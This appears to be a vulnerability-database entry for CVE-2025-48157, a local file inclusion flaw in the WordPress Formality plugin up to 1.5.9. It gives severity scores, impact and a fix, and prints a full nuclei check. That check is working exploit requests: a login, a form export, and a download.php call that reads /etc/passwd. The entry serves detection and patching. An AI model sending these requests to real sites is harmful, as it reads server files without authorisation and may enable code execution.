HexBrain

Browse / CVEs / CVE-2025-48157

CVE-2025-48157· CWE-98

WordPress Formality Plugin <= 1.5.9 - Local File Inclusion

criticalseverity
9.8CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

Michele Giorgi Formality <= 1.5.9 contains a file inclusion vulnerability caused by improper control of filename in include/require statements, letting attackers include local files, exploit requires crafted input.

Impact

Attackers can include local files, potentially leading to code execution or information disclosure.

Fix

Update to the latest version beyond 1.5.9.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?action=export_formality_result&form_id=1 ; GET /wp-content/uploads/formality/storage/download.php?wproot=/var/www/html&file=/etc/passwd
Positive when: contains(content_type_3, 'text/plain') and regex('root:.*:0:0:', body_3) and status_code_3 == 200

Run it with nuclei: nuclei -id CVE-2025-48157 -u <target>

The full check
id: CVE-2025-48157

info:
  name: WordPress Formality Plugin <= 1.5.9 - Local File Inclusion
  author: pussycat0x
  severity: critical
  description: |
    Michele Giorgi Formality <= 1.5.9 contains a file inclusion vulnerability caused by improper control of filename in include/require statements, letting attackers include local files, exploit requires crafted input.
  impact:
    Attackers can include local files, potentially leading to code execution or information disclosure.
  remediation:
    Update to the latest version beyond 1.5.9.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/formality/formality-159-unauthenticated-local-file-inclusion
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3277800%40formality&old=3248498%40formality
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48157
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-48157
    epss-score: 0.029
    epss-percentile: 0.8706
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"WordPress"
  tags: cve,cve2025,wordpress,wp,wp-plugin,formality,lfi,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?action=export_formality_result&form_id=1 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/uploads/formality/storage/download.php?wproot=/var/www/html&file=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type_3, 'text/plain')"
          - "regex('root:.*:0:0:', body_3)"
          - "status_code_3 == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from